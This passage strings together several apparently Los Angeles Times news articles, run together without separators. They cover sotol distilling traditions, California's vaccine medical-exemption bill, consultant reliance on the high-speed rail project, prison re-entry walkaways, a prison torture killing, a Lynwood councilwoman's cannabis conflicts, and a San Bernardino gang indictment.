back. Fernandez started working with sotol at the age of 7, the tradition dating to at least his grandfather. Advertisement For most of the 20th century, as international spirits made inroads into the Mexican market, sotoleros (and other indigenous spirit makers) were marginalized and persecuted treated like moonshiners instead of people preserving and practicing a traditional foodway. We didnt have to run much because we were in the middle of the forest, says Fernandez. Later, however, he tells stories of hiding with a rifle as a young child when the police arrived. Officers, he recalls, would also treat his mother like a servant, demanding a meal, on unexpected visits. Today, sotol production is again legal and locals line up outside Fernandezs vinata waiting to fill empty Coca-Cola bottles with his product, which tastes of eucalyptus, pine, moss and wet dirt typical of sotoles made from plants grown in the forest regions of northern Mexico. The official domestic beer power rankings Eduardo Arrieta, another sotolero, works from a ranch deep in the desert below Texas Big Bend National Park. The property belongs to the family of Alfredo Garza and has seen its fair share of sotol production over the years Garzas great-grandfather produced the spirit on the grounds after fighting Pancho Villa in the Mexican Civil War. Arrietas sotol, as with others made in the desert, is characterized by leather, cacao and dried pepper. He pours a sizable sample from the still and passes it around. Like mezcal, sotol isnt a shooter it is meant to be sipped straight, slowly enjoyed. Most sotoles on the market are either a blend or single-origin from the forest or desert, but there is a third terroir yet to be truly explored: prairie. Juan Pablo Carvajal, founder of the brand Los Magos, hopes to develop a single-origin sotol from prairie plants in the near future. We want to showcase the variety that we have here in Chihuahua, he says of the decision. Master sotolero Bienvenido Fernandez is a staple in his town of Madera. Each June, he hosts a Sotol celebration El Burrito Sotolero where donkey-drawn carts take to the streets and a cocktail made with the spirit is served to enthusiastic locals. (James Burke and Molly Mandell) Chihuahua, home to the largest concentration of commercial producers, is one of three states that makes sotol. Here, and in Durango and Coahuila, the spirit is protected by a denomination of origin, not unlike Champagne or Parmigiano Reggiano. That status isnt stopping entrepreneurs on the other side of the border from trying their hand at distilling the Dasylirion. Two distillers in Texas, Desert Door in Driftwood, and soon, a new group in Marfa, are making what they too call sotol. Neither producer, however, carries a history like those in Mexico. Fernandez, Arrieta and the majority of master sotoleros use methods that have been passed from generation to generation. Ricardo Pico bottles and distributes both Fernadez and Arrietas sotoles for his brand Clande. My oldest producer is 65 years old, Pico says. His father and grandfather produced sotol, so were talking about at least 100 years of tradition. In reality, the history goes back even further thousands of years to indigenous peoples in northern Mexico and the southwestern United States who fermented the sotol plant to produce a low-alcohol beverage more akin to a beer. Sotol, as with mezcal, likely didnt become the beverage that we know today until distillation techniques came to Mexico with the Spanish. At the Jacquez family vinata, the harvest is unloaded from angarillas, the baskets which are attached to the donkey along with tools, water and food for the workers. (James Burke and Molly Mandell) Artisanal methods for making sotol dont vary drastically from those of the indigenous groups. The plant takes an average of 15 years to mature, and when it is ready, harvesters cut out the pina, or heart. After its leaves are trimmed away, it is brought to the vinata with others by donkey or truck. A few hundred pinas are tossed inside an earth oven, covered with fiber and dirt and left to slow roast for several days. The cooked heads, each of which will yield approximately a single bottle, are then removed from the pit, mashed, fermented and distilled. Commercial brands, including Clande and Los Magos, are increasingly essential for preserving this style. If it is difficult to earn a living, the craft may become less attractive to future generations, says Carvajal. So we are interested in helping to create that balance. Sotol is still primarily wild harvested, though some producers are beginning to adopt an agricultural approach to cultivation. (James Burke and Molly Mandell) Meanwhile, players such as Hacienda de Chihuahua and the forthcoming Sotol Terlingua are pursuing more industrial methods in an effort to chase the tequila industry. Tequilas popularity has translated to a crowded market and what many regard as a reduction in quality. As such, the potential shift in sotol raises concern for both Pico and Carvajal. Protecting the time-honored production methods, Carvajal says, doesnt have to come at the expense of business success; as illustrated by mezcal, there is a growing audience for authentic, local and ethically sourced spirits from Mexico. In Chihuahua, every master sotolero puts his own stamp on the distillation process. The final product is a drink that is rich in complexity the flavor is marked not just by terroir, but by the person who makes it. The beauty of the Dasylirion plant is that it absorbs everything, Pico says. The end result is a spirit that, I think, is one of the most transparent. For him, the future of sotol should be clear. No amount of money in the world, he says, is more valuable than preserving the tradition. Sotol from Texas? Sotol isnt only produced in Northern Mexico its also cropping up in Texas. In 2015, Austin-based Genius Liquids distilled the Dasylirion but only sold the product briefly. Then, in 2017, Dripping Springs-based Desert Door opened a full-fledged Texas Sotol operation. The company has faced its fair share of criticism since. While sotols denomination of origin has legal backing in Mexico, it carries little weight in the United States. And Desert Door wont be the only producer stateside for long; a new group in Marfa (and there are rumors of others to come in both Texas and New Mexico) is preparing to distill the sotol plant this coming fall. Tim Johnson organizes Marfas Agave Festival, which strives to celebrate agaves cultural influence, both in spirit form and beyond (the first year no spirit brands were invited). The third iteration takes place this June and, as in past years, includes sotol-related programming. Johnson hopes to continue the dialogue around denomination of origin there, and with more expert voices. For now, he advises American entrepreneurs to approach the spirit with care. Where do cops eat? In Hollywood, a lunch break isnt much of one at all If youre from the States and you dont have that historical lineage, he says, you need to be very cautious about damaging the culture. Johnson specifies that he is not trying to control outcomes, but says that by fostering conversation and deeper connections, there is the potential for collaboration. Master sotolero and Chihuahua native Eduardo Arrieta is on the same page. Texas? Theyre our neighbors, our brothers, he says. But its a matter of respect. This is our history, and they need to approach it the right way. There are a variety of opinions on the subject, but for Jacobo Jacquez, whose family has long been in the sotol business, its simple: People died for this craft, he says, citing the persecution of Mexican sotoleros throughout the 20th century. You can make it, but you just cant call it sotol. I thought the vaccination wars in California pretty much fizzled out in 2015 after we outlawed religious and personal belief exemptions for children whose parents dont want to immunize them against diseases like pertussis, measles and mumps. Silly me. Lack of faith in scientific consensus is a sad but permanent feature of our social media-driven world. Paranoia is an effective business model. Parents who oppose vaccines are not stupid; in fact, they are often surprisingly well-educated, considering the pseudoscience and unfounded claims they are willing to embrace. Advertisement It should come as no surprise, then, that many have found a way around the law, which still allows for medically necessary exemptions. They have turned to physicians willing to provide bogus medical exemptions, which is why Democratic state Sen. Richard Pan, a pediatrician, is pushing for the passage of a law that would require health officials to sign off on medical exemptions to ensure their validity. The law, co-sponsored by Democratic Assemblywoman Lorena Gonzalez of San Diego, makes good sense. Predictably, it has aroused a tremendous amount of anxiety among parents who believe their children have been vaccine injured or are medically fragile, or those who simply dont think the government has the right to stick its nose into the patient-doctor relationship. Carrying babies, pushing strollers, holding the hands of their youngsters, angry parents turned out by the hundreds in Sacramento on Wednesday at a Senate Health Committee hearing to protest the bill. One by one, for more than four hours, they stated their objections. Some took a moment to vilify Pan, who also led the 2015 battle to end religious exemptions. Theyre my kids, theyre not your guinea pigs, said one father. Shame on you, said a mom holding a Pan lies sign. Youre a tyrant, said a man who described himself as the father of a a healthy, fully unvaccinated child. Sen. Pan, I believe you are committing crimes against humanity, said a Bay Area mom. Pan stood at a lectern, listening respectfully, as he was accused of violating the Nuremberg Code, the U.S. Constitution and of imperiling his mortal soul. State Sen. Richard Pan speaks in support of his bill to tighten the process for medical vaccine exemptions Wednesday in Sacramento. (Rich Pedroncelli / Associated Press) I am a pediatrician. My job is to help children and protect children, Pan told me Thursday morning, after his bill passed in committee on a party-line vote of 7 to 2. I have tremendous sympathy for the parents there whose children may be suffering from something. If you have a loved one who is sick, you want to know what caused it. Sometimes, there simply are no satisfying answers. :: Vaccination rates in California, thankfully, have gone up, in some cases dramatically, which shows the effectiveness of legislation like Pans. However, there are still pockets of resistance. As my colleague Soumya Karlamangla reported last July, in a big chunk of the states elementary schools, 90% or less of kindergartners had all their required shots. At 20 schools, more than a quarter of the children had medical exemptions, a statistical impossibility given that about 3% of the population may have a legitimate medical reason to forgo vaccines. To prevent outbreaks of highly contagious illnesses like measles, epidemiologists say, 95% of children in a school should be immunized. But where there is a will to avoid vaccines, parents have found a way. One legislative staffer sent me screenshots of parents advising each other on where to find physicians willing to write the exemptions and how much they charge. (The doctor I went to gives medical exemptions for eczema, said one mom. Paid upfront $285.) Last month, Voice of San Diego reported that a single physician has written one-third of all medical exemptions given in the San Diego Unified School District since 2015. There are very good reasons for some children to avoid vaccines a child with severe, life-threatening allergies, for example, or a child whose immune system is depressed by HIV/AIDS or chemotherapy. The idea for Pans bill came from West Virginia, which has one of the most stringent vaccination policies in the country and has not had a confirmed measles case since 2009. Imagine that: California, which is ranked the No. 1 state for public health, is using West Virginia, which is ranked 49th, as a role model. :: On Thursday morning, California public health officials announced that 38 cases of measles have been diagnosed this year, 15 of them in the last week, including at UCLA and Cal State L.A. That afternoon, UCLA officials announced that more than 100 students and staff members would be quarantined for at least a day. Young adults who were not vaccinated as children may be at particular risk because they were too old to be affected by Californias 2015 law. Their parents were probably influenced by the discredited work of Andrew Wakefield, the British physician whose license to practice medicine was revoked after he alleged a link between vaccines and autism in the late 1990s. Vaccines do not cause autism. This is a fact. I expect to be deluged with responses from readers who believe otherwise. Yes, I know there is a vaccination court that pays money to people who can convince it that they have been injured by vaccines. Yes, I know you cannot sue pharmaceutical companies for harms you think are caused by vaccines. (Thats why the vaccine court was created; so lawsuits would not drive vaccine makers out of business, because vaccines are so important to our health. The court has not awarded a cent to anyone claiming that a vaccine caused autism.) Yes, I know that a very small number of children have had adverse reactions to vaccines, some catastrophic. Chelsea Lydell holds her son, Joseph, 4, as she joins hundreds of others waiting to get into a legislative committee to oppose Pans proposal. (Rich Pedroncelli / Associated Press) And yes, there still exists a kind of hysteria about vaccines among certain portions of the population, and this is why we are seeing a resurgence in diseases like measles, once believed to have been eradicated. Vaccines cited by many scientists as a more important human advancement than antibiotics are a victim of their own success. More than one parent in Sacramento on Wednesday claimed to be the parent of healthy, unvaccinated children. But thats the thing. You are healthy until you are not. If a child is not vaccinated and comes in contact with someone who has measles, or chickenpox or another preventable disease, that kid may get sick. And perhaps the kid will transmit the disease to someone elses child who cannot be vaccinated because he or she has cancer, takes immunosuppressant drugs or is severely allergic to vaccines. Even if you are willing to gamble on your own kids health, repugnant enough, you shouldnt be able to gamble on the health of someone elses child. robin.abcarian@latimes.com Twitter: @AbcarianLAT When California shifted its bullet train plan into high gear in 2008, it had just 10 employees to manage and oversee design of the largest public construction project in state history. Consultants assured the state there was little reason to hire hundreds or thousands of in-house engineers and rail experts, because the consultants could handle the heavy work themselves and save California money. It would take them only 12 years to bore under mountains, bridge rivers and build 520 miles of rail bed all at a cost of just $33 billion. State officials followed that advice, and for the next several years, development of the nations first high-speed rail line was overseen by a minuscule government staff. Now, more than a decade later, that decision has proved to be a foundational error in the projects execution a miscalculation that has resulted in the California High-Speed Rail Authority being overly reliant on a network of high-cost consultants who have consistently underestimated the difficulty of the task. Advertisement Today, these consultants manage nearly every aspect of the job: They direct day-to-day construction work in the Central Valley and negotiate with farmers to buy land. They assess the geological conditions in the San Gabriel Mountains and estimate how many people will ride the future system. They produce tens of thousands of pages of reports and attend community meetings. They even oversee other consultants. But significant portions of this work have been flawed or mismanaged, according to records reviewed by The Times and interviews with dozens of people involved in the project. Despite repeated warnings since 2010 about weaknesses in its staffing, the rail authority believed it could reduce overall costs by relying on consultants and avoiding a large permanent workforce. But that strategy has failed to keep project costs from soaring. Ten years after voters approved it, the project is $44 billion over budget and 13 years behind schedule. A reckoning may be coming very soon, however. Gov. Gavin Newsom recently told The Times that he would be taking aim at the consultants when the rail authority sends a major project update to the Legislature on May 1, including a detailed plan on building a partial operating system from Bakersfield to Merced for $16 billion to $18 billion. The bullet train project, seen above in Fresno, is $44 billion over budget and 13 years behind schedule. (Robert Gauthier / Los Angeles Times) Im getting rid of a lot of consultants, Newsom said. How did we get away with this? But actually reducing the role of consultants will be problematic because they have become cemented into place. When state rail authority employees go to their Sacramento headquarters, they work in offices rented by a consultant. When they turn on their computers, much of their data is stored on servers owned by consultants. The software they use to help manage the project is the property of a consultant. The rail authoritys consultants are hardly household names, but they are politically powerful and made major contributions to support the 2008 political campaign for the bullet train bond. They have staffed their ranks with former high-level bureaucrats, and their former executives have occupied key government posts. They include such firms as WSP, Project Finance Advisory, Cambridge Systematics, Arup, T.Y. Lin, HNTB, PGH Wong Engineering, Harris & Associates, Arcadis, STV, Sener Engineering and Systems, Parsons Transportation and many others. To be sure, consultants are a routine part of many state construction projects. In California, however, high-speed rail is in a league of its own when it comes to reliance on outside staffing. Experts in high-speed rail and mega-projects in general say it is crucial to have a balance between outside help and a strong government staff that can make independent judgments about the advice it is getting. If you depend on consultants to know what you are doing, then you are in real trouble, said Bent Flyvbjerg, an Oxford University professor who has studied high-speed rail projects around the world. A good balance is where the owner is not outsourcing all the knowledge. A bad balance guarantees a bad outcome. Brian Kelly, chief executive of the rail authority, acknowledges that the balance needs to be remedied. The consultants, he said, share in the responsibility for the problems, but it is the [rail] authority that brought in the consultants and is ultimately responsible to the public. WSP, a Montreal-based international engineering firm, leads the states main consulting operation, Rail Delivery Partner. Workers tie rebar on a support structure as construction continues in Fresno on the California high-speed rail project. (Robert Gauthier / Los Angeles Times) Formerly known as Parsons Brinckerhoff, WSP has been involved in many giant engineering works, some of which won awards and others that went far over budget and past deadline, including Bostons troubled Big Dig, the Honolulu light rail project and a transit system in St. Louis. It is WSP that holds the lease on much of the office space at rail authority headquarters, supplies proprietary software that the authority uses and provides servers that store the projects data. The firm also helps oversee three other consulting ventures that monitor construction teams Wong-Harris for the Fresno area, Arcadis for Kings County and HNTB for Tulare County. (Each of those three consultants have teams of subconsultants who work under them.) In 2008, WSP developed the estimate that the Los Angeles-to-San Francisco line would cost $33 billion and take 12 years to build. In the same year, voters approved a $9-billion bond that was supposed to fund one-third of the project. We listened to their estimates, said Quentin Kopp, who was chairman of the rail board in 2008 but has since become an ardent critic. They were clearly wrong. Given the enormity of building a 520-mile rail system, the 10-member rail authority team that existed in the early years amounted to a cheer squad, Kopp said. WSP has stayed on the job for about a quarter of a century. It was given a new $700-million contract in 2015, despite warning signs that the project was headed for major cost overruns and had encountered serious delays. Gregory Kelly, CEO of WSP USA, a New York City-based unit of the firm, defends the companys role in the project and says it brings world-class engineering, project management and environmental know-how that the state could not possibly duplicate. It would be wildly inefficient for the state to staff up to replace the role of consultants, he said in an interview in Los Angeles. As for the problems, Kelly acknowledges some responsibility. I am not here to say the client was wrong and we have no involvement, Kelly said. We are all part of the team. Kelly said he wants a realignment of duties between the consultants and the state staff. WSP alone has about 470 employees on the project, and many hundreds of other consultants are spread out at offices across Sacramento, Fresno and San Francisco. By comparison, the rail authority now has 180 employees, but it has more than 40 vacant positions and is actually smaller than a year ago, according to a March financial report. Kelly, the rail authority CEO, said the vacancy rate is higher than he would like. Candidly, we have some difficulty bringing people in when it is unclear what the future of the project is, he said. Thats a real challenge we have to deal with. Other state agencies that build infrastructure and manage technical regulations employ far more staffers. The California Department of Transportation alone said it has a staff of more than 7,000 engineers. The Department of Water Resources, which builds and maintains dams, said it has 1,519 engineers, scientists and technicians on its staff. The Air Resources Board has nearly 1,000. Professional Engineers in California Government, a union that has 13,000 engineers at state agencies, has long argued that the rail authority is making a grave error by relying so heavily on outside consultants. They became a consultant-captured organization, said Ted Toppin, executive director of the union. This is an entity run entirely by engineering consultants for engineering consultants. Toppin provided state budget documents from 2010 that showed the rail authoritys contracts with consultants averaged $427,000 per engineer, compared with the rail authoritys state in-house costs of $131,000 per engineer. The counterargument made by consultants is that those numbers do not reflect differences in efficiency or quality of work. State Auditor Elaine Howle released a scathing assessment of the project in November, citing the role of consultants 81 times. Consultants, the audit said, may not always have the states best interests as their primary motivation. Howle and others say it hasnt helped matters that the rail authority still relies on consultants to manage and oversee other consultants an arrangement that has resulted in the appearance of a conflict of interest in at least one case and poor oversight of project work in general. The rail authority, she said, has become dependent on WSP staff to fill jobs in its contract management and support offices, which have performed only weak and inconsistent oversight of the project work. The audit examined nine sample contracts and found significant problems in reviewing invoices and documenting that work had actually been completed. In one example, the rail authority staffed a new office intended to improve contract management with seven consultants. WSP executives said it was a stretch to allege that any problems they caused were responsible for billions of dollars in cost increases. A state audit found significant problems in sample contracts with consultants on the high-speed rail project, seen above south of downtown Fresno. (Robert Gauthier / Los Angeles Times) Several rail authority employees said in interviews that the audit correctly identified the confused relationship between state employees and consultants. In some cases, they said, state employees report to consultants, rather than the other way around. The underlying problem is that you have an organization that is broken, said one manager at the rail authority who was not authorized to talk to the news media and requested anonymity. You have managers brought in as promotions by their friends. They havent defined who does what. In some instances, the consultants have provided flawed advice, as well. At one time, Cambridge Systematics, the consultant that developed ridership models, estimated that more than 90 million people would ride the trains every year, based on an overly optimistic assumption that 90% of motorists along the route would switch to trains, said David Brownstone, a UC Irvine economics professor who reviewed the work of consultants that provided ridership estimates. Once we pointed out all the problems, they lowered it to 25 million and characterized it as a minor change, he said. Calling that a minor adjustment was a flat-out lie. The mistakes were obvious and crude. In Brownstones opinion, the rail authority didnt question the calculations because high ridership estimates supported its revenue projections. Some of these consultants will tell you whatever you want to hear for a fee, Brownstone said. Cambridge Systematics declined to comment. It is also the consultants who write the projects environmental impact statements and reports, among the most voluminous undertakings in the history of environmental regulation in California. The body of work includes dozens of reports covering 11 geographic sectors, nine years of business plans and numerous ridership studies. A Times data analysis of the reports completed so far, involving more than 3,000 environmental statements, business documents and other reports, found they contained 152,000 pages that consultants largely generated. The Times could not locate anybody who claimed to have read all of the documents. The consultants, however, have played a key role in the political success of the project. Along with labor unions, consultants helped fund the campaign for the $9-billion bond that is paying everybodys salaries, including their own. Engineering and construction firms contributed $837,000 to the bond campaign, second only to the $1.6 million spent by various unions, according to a Times review of campaign filings. WSP put $107,000 into the campaign. There was no organized opposition to the bond measure. It passed with 52.7% support, but its popularity has dropped in public opinion polls ever since. The consultants continue to provide political muscle for the project. A revolving door provides lucrative job opportunities for state and federal officials to enter higher-paying private jobs. The rail authority in May 2012 hired as its chief executive Jeff Morales, who had worked at WSP since 2004. Morales took a hiatus from WSP to work on President Obamas transition team for the Department of Transportation, giving him key access to the administrations future rail policies. At the time he was hired by the rail authority, some legislators were worried about the potential conflicts of interest that Morales could bring, but rail authority Chairman Dan Richard said his board was deeply impressed by his extensive experience in large and complex transportation issues and projects. Data Editor Ben Welsh contributed to this report. Californias attempt to ease inmates back into the community is coming at a price: more prisoners, some with violent convictions, walking away before their time is up. Fifty of the states more than 126,000 prisoners absconded last year, almost half of them from a program that allows male inmates to serve the final year of their sentences in community centers to get help with substance abuse, mental and other health issues, jobs, education, housing, family reunification and social support. While most were quickly recaptured, thats nearly double the number from 2014, the year before the re-entry initiative started. Also, while the program excludes known gang members, sex offenders and those deemed at high risk of committing violence, others with violent histories are allowed. Advertisement An Associated Press review of the Corrections Department-run program, which has about 600 inmates, found some of last years 24 walkaways were serving time for weapons offenses, including an armed attempted carjacking and injuring a spouse. Convictions for others included robberies, false imprisonment with violence and extortion using force or threat. The upswing in walkaways has victims advocates concerned and corrections officials trying to identify factors that may be prompting inmates to leave mere months before they are set to be paroled. Oh, my gosh, thats a lot, Crime Victims Action Alliance executive director Christine Ward said of the overall number. When youre talking about second-degree robbery or felons who are desperate, what do desperate people do? California has nearly 40 supervisors and agents who search for walkaways and escapees along with their other duties that include managing prison gangs and conducting major criminal investigations. Corrections Department spokeswoman Terri Hardy said the state spends nearly $22 million annually on that Special Service Unit and several other units that together fall under the Office of Correctional Safety, but officials couldnt break out the budget for catching fugitives. The Corrections Department takes the issue of walkaways very seriously, said agency spokeswoman Vicky Waters, and reviewed the mens re-entry program to identify factors that may be leading participants to walk away from the program without authorization. That led to improvements intended to better help inmates reintegrate into society, she said. She wouldnt give specifics, but said they include more focus on participants needs and the programs provided at re-entry centers. So-called alternative custody programs serve a dual purpose, offering rehabilitation to inmates while helping state officials follow federal court orders to reduce overcrowding in prisons. Federal judges decided a decade ago that Californias prisons had become so crowded that it was preventing officials from providing inmates proper medical and mental health care. A GPS bracelet is seen on the ankle of an inmate attending a discussion about living in sobriety at the Male Community Re-entry Program in Oroville. (Rich Pedroncelli / Associated Press) The mens program and a similar program for women were created in response to a 2014 order from those federal judges that included ways to reduce the inmate population. Butte, Kern and San Diego counties each have a mens re-entry center, while Los Angeles County has three. Some centers have fences intended to make sure inmates and visitors properly check in and out, but they arent the sort of impenetrable barrier used at secure prisons, Waters said. They have security staff, but inmates sometimes cut off their GPS-linked location monitors and disappear from the facilities or while on approved outside activities. Just two female inmates in three years have ever walked away from their version of the program, which has centers in Bakersfield, Sacramento, San Diego, Santa Fe Springs and Stockton. Only one male inmate escaped from within a secure perimeter at a prison last year; he was captured the next day. Ward and Crime Victims United of California founder Harriet Salarno fears corrections officials are being too lenient in who they let into the mens re-entry program. They are letting the people out that shouldnt be out, Salarno said. The programs can help reduce crime in the long run by preparing inmates for a productive role in the community, said Laura Dixon, spokeswoman for the Chief Probation Officers of California, though she agreed with the victims advocates that proper screening is vital. She cited the Butte County facility that is jointly run with county probation officers, unlike some of the other mens re-entry programs. Just 3% of graduates have committed new crimes, she said, while two inmates walked away due to mental health or family issues. Theres going to be a certain percentage of folks that wont graduate the program or may walk away, Dixon said. Yet the centers can really reduce recidivism and give these people who are trying to re-enter our communities the support they need. One convicted killer has been accused of beheading another in what authorities call an exceptionally sadistic torture slaying at a California prison. Corcoran State Prison inmate Jaime Osuna removed several body parts from his cellmate, Luis Romero, Kings County Assistant Dist. Atty. Phil Esbenshade said Friday. Charges accuse Osuna, 31, of repeatedly cutting Romero last month using what the prosecutor called a sharp metal object wrapped in string and attached to a handle. Its not clear how much happened while Romero, 44, was still alive or whether anyone heard the overnight assault, but we do believe that the victim was conscious during at least a portion of the time, Esbenshade said in an email. This is the most gruesome case that I have seen in terms of heinousness in the slaying. The California Department of Corrections and Rehabilitation is conducting an internal investigation, spokeswoman Terry Thornton said. Officials wouldnt provide more details on how prisoners are overseen overnight. Advertisement Osuna pleaded not guilty to murder and other charges at his first court appearance Thursday. They include several special circumstances that could bring the death penalty, including that the slaying was especially heinous, atrocious or cruel, manifesting exceptional depravity. Defense attorney Melina Benninghoff was appointed to represent Osuna but was home sick Friday and did not respond to telephone and email requests to comment on his behalf. Osuna is also charged with torture, mayhem and weapons possession. The torture charge alleges that he acted with the intent to cause cruel and extreme pain and suffering for the purpose of revenge, extortion, persuasion and for a sadistic purpose. The state corrections department said guards found Romero dead in his cell about 7:30 a.m. March 9 at the prison, which houses more than 3,300 inmates about 220 miles south of Sacramento. Romero bled to death from multiple sharp force trauma injuries, and his body was mutilated, according to an autopsy report released Friday. Osuna was sentenced to life without parole after pleading guilty in 2017 to killing Yvette Pena, 37, at a Bakersfield motel in 2011, according to media reports at the time. Romero also was serving a life term for a Los Angeles County slaying, but with the possibility of parole. Osuna has been transferred to a Stockton prison for inmates needing medical or mental healthcare, though officials wouldnt say why, citing privacy laws. Few local politicians have championed marijuana as loudly as Aide Castro. She says the drug was crucial to treating a thyroid condition. And as a Lynwood city councilwoman, she was the driving force behind the citys decision more than two years ago to become one of the first in Los Angeles County to embrace the newly legalized industry. But while she was helping approve the citys cannabis regulations, Castro was also quietly making money from the industry, a Times investigation found. Castro didnt report any of her dealings in the marijuana business on state-required financial forms until earlier this year, when she disclosed that she is a partner in two marijuana cultivation ventures. She reported that her ownership stakes are worth millions of dollars. Both the businesses are located outside the city, but one of her partners is embroiled in a legal dispute in part over ownership of a marijuana manufacturing license in Lynwood. Advertisement In February, Castro announced the formation of Candor Collections, a marijuana partnership that markets cannabis to women. In recent years, she has also run her own consulting firm that does work for cannabis businesses, including Weedmaps, one of the nations most popular pot advertising platforms. She has never listed Weedmaps or any other clients on her state financial reports. State law requires elected officials to report the identities of clients who pay their companies at least $10,000 in a year for consulting work if those clients were doing business or were planning to do business within the officials jurisdiction. In an interview, Castro told The Times none of her consulting clients met the $10,000 annual reporting threshold. But a Weedmaps spokesman later said the firm paid Castro $93,666 in 2017 just as she and the council were changing local regulations to allow marijuana delivery by businesses in the city, as well as crafting and passing licensing agreements with local growers. Two delivery services in Lynwood now advertise on Weedmaps. In a follow-up email, Castro said she first learned of the requirement to disclose consulting clients during her interview with The Times, and that she would amend her disclosure forms to include them. Shortly before she disclosed her ownership in the two manufacturing businesses, Castro began recusing herself during votes on the marijuana regulation. Still, after one vote in January, Castro approached the citys mayor and a councilwoman and criticized how they voted. Castro acknowledged the incident and said she has the right to express herself on marijuana issues in the city, even if she doesnt vote. Just because I have to recuse myself from making decisions doesnt mean I cant point out bad policy, Castro said. In her interview with The Times, she said she stopped voting out of an abundance of caution and has done her best to follow the law. She declined to name her consulting clients, but said they dont have marijuana businesses in Lynwood. I am trying my best to be transparent, Castro said. If Im doing whats required by law, to me Im doing the right thing. Bob Stern, co-author of the states anti-corruption law known as the Political Reform Act, said he would need to know more details about Castros clients and how much they paid her to determine whether she is violating or complying with state law. But, he said continuing to advocating for pot interests on the City Council while working for Weedmaps would be clearly unethical and that Castro should choose either the marijuana business or serving as an elected official. If its not against the law, we should change the law, he said. Cultivating ties with elected officials in cities like Lynwood has become crucial to cannabis interests since California voters approved the sale and possession of recreational marijuana in November 2016. About 80% of the states cities have refused to allow pot businesses to operate in their towns in part over worries that the industry has a shady reputation, spurs crime and, in some cases, has resulted in bribery charges. After the newspaper asked other Lynwood council members about Castros financial ties to the industry, several expressed shock, saying her business dealings present a red flag about her reasons for promoting cannabis. They said her income from the marijuana industry now taints the last two years city leaders spent passing pro-pot legislation. Its a big conflict of interest, said Councilman Salvador Alatorre, an opponent of allowing marijuana businesses in the city. Had she not had alternative interests in the industry the process would have been cleaner, said Councilwoman Marisela Santana, who supports allowing local marijuana businesses. Castro was first elected in 2007 to the City Council, a position with a $975 monthly salary. In the past she has worked in real estate, and in 2002 she opened a beauty salon. In promoting marijuana, Castro draws on her personal experience with the drug. She said it helped her deal with the symptoms of having a growth on her thyroid gland and the surgery to remove it in 2016. She makes tea from marijuana it keeps her migraines at bay and helps her sleep, she says and uses a numbing cream derived from the plant. The cannabis industry is something I have a passion for, she said. Her history with the marijuana business dates further back. In 2001, she was charged with transporting 28 kilograms of marijuana, according to court records attached to her companies applications for commercial cannabis licenses in Los Angeles. She pleaded guilty to a misdemeanor and was sentenced to supervised probation for one year. She declined to speak at length about her conviction but said she was a passenger in a car that had the marijuana. Prosecutors alleged in court records that she told a federal agent at the time of her arrest that she was offered $2,000 to smuggle the marijuana across the border from Mexico. A border inspection of the vehicle discovered the marijuana hidden inside the back seats, according to the records. That conviction could help qualify her businesses for the city of Los Angeles social equity program, which grants priority marijuana commercial licensing to people with marijuana-related convictions. She said her eligibility for the program is also why, in addition to her expertise in government, her business partners last year gave her shares of the companies. On her state disclosure forms, she reported that her separate stakes in Relative Phenomena LLC and Modern Determinism LLC are each worth more than $1 million. She told The Times she contributed no money in the companies. In 2018, state law prohibited public officials from accepting gifts worth more than $470 from any single source. That limit has since been increased to $500. One of Castros four business partners, Winston Park, signed a declaration as part of Relative Phenomenas license application saying that he too has a marijuana-related conviction that qualifies him for the social equity program. Park said he was arrested by the California Highway Patrol in March 2014 and sentenced to 32 months in prison. A Times review of court records shows that Park was also convicted in that case of evading police and has an extensive criminal record that includes felony convictions for distributing cocaine, possession of heroin while in prison, robbery and burglary. While the two manufacturing businesses are located in Los Angeles, another partner in Relative Phenomena, Scott Kawasaki, has financial interests in Lynwood. He owns Los Angeles Kush, an L.A.-based dispensary and a brand of marijuana. He is embroiled in a lawsuit with a former business partner, and part of the court battle is over ownership rights to a pot manufacturing license in Lynwood. Castro has not voted on issues involving that license since disclosing her partnership with Kawasaki on state forms earlier this year. Castro said she regretted one council action a proposal she made in November to negotiate a multimillion-dollar contract with Express Transportation Services, LLC. The proposal died on a split council vote. Express Transportation Services employs Castros father-in-law as a shuttle driver and lists one of her marijuana consulting clients, Claudia Hernandez, as its director of administration and government affairs. Castro said she didnt know that Hernandez, who owns a Huntington Park marijuana dispensary, worked for Express. She provided consulting services for free because Hernandez is a friend, she said. I go above and beyond for all my friends, Castro said. Thats my reputation. It precedes me. A Weedmaps spokesman said the firm paid Castro as a contract employee from March to December 2017 to help with panels and workshops for local officials on marijuana policy reform. She also identified lawmakers working to organize their own local cannabis policy but never lobbied lawmakers on the firms behalf, Carl Fillichio said. He said Weedmaps hired Castro when she approached the company after she finalized her cannabis efforts in Lynwood and wanted to aid colleagues in nearby jurisdictions build effective policies. City records show that Castro continued voting on changes to the local marijuana regulations and licensing agreements with operators while working for Weedmaps. Castro also formed a partnership with Aaron Herzberg, who runs a marijuana consulting business that helps sell or lease properties devoted to manufacturing cannabis and helps clients obtain licenses. The Puzzle Groups website says it was involved in several property deals for marijuana businesses in Lynwood and helped secure a manufacturing license for one. Around the same time as those deals, Castro voted to approve development agreements and licenses for at least three businesses operating at those properties, according to city records. Castro said her consulting partnership with the Puzzle Group, announced in November 2017, ended shortly after it began. She insisted she was never paid. Herzberg did not return phone calls for comment. Two dozen alleged associates of a prominent San Bernardino gang were arrested Thursday morning after prosecutors unsealed eight federal grand jury indictments against them and 11 others. In all, 35 people connected with the Westside Verdugo gang were charged with various offenses, including narcotics trafficking, identity theft and gun possession. Local and federal law enforcement agencies arrested 24 people in the far-reaching operation Thursday, while 10 were already in custody on unrelated charges. Authorities say one person named in the indictment, identified by authorities as Angel Martinez, is a fugitive. The three main indictments unsealed Thursday detailed conspiracies to smuggle and distribute methamphetamine and heroin into the city of San Bernardino. In one case, gang members are accused of deliberately getting themselves arrested in order to smuggle narcotics into the citys jails. Advertisement The other five indictments include charges for illegal possession of firearms and ammunition, identity theft and money laundering. For more than 50 years, this gang has been responsible for spreading drugs and violence in this community, but today we have taken a major step to combat the groups influence on the city of San Bernardino, U.S. Atty. Nick Hanna said at a news conference. Todays arrests signal that we will continue to pursue street gangs until families in every Southern California neighborhood can lead safe and peaceful lives. The FBI has led the investigation into the Westside Verdugo gang in Southern California, with help from local and state agencies, since the summer of 2017. Paul Delacourt, assistant director in charge of the FBIs Los Angeles office, described members of the Westside Verdugo gang as foot soldiers for the Mexican Mafia, which is regarded by prosecutors as a gang of gangs. Those in custody are expected to be brought to federal court in the near future, authorities said. alexa.diaz@latimes.com Twitter: @alexalucina An Orange County jury awarded $2 million in damages this week to a UC Irvine neurosurgeon who alleged in a lawsuit that the University of California Board of Regents and the former dean of UCIs School of Medicine violated 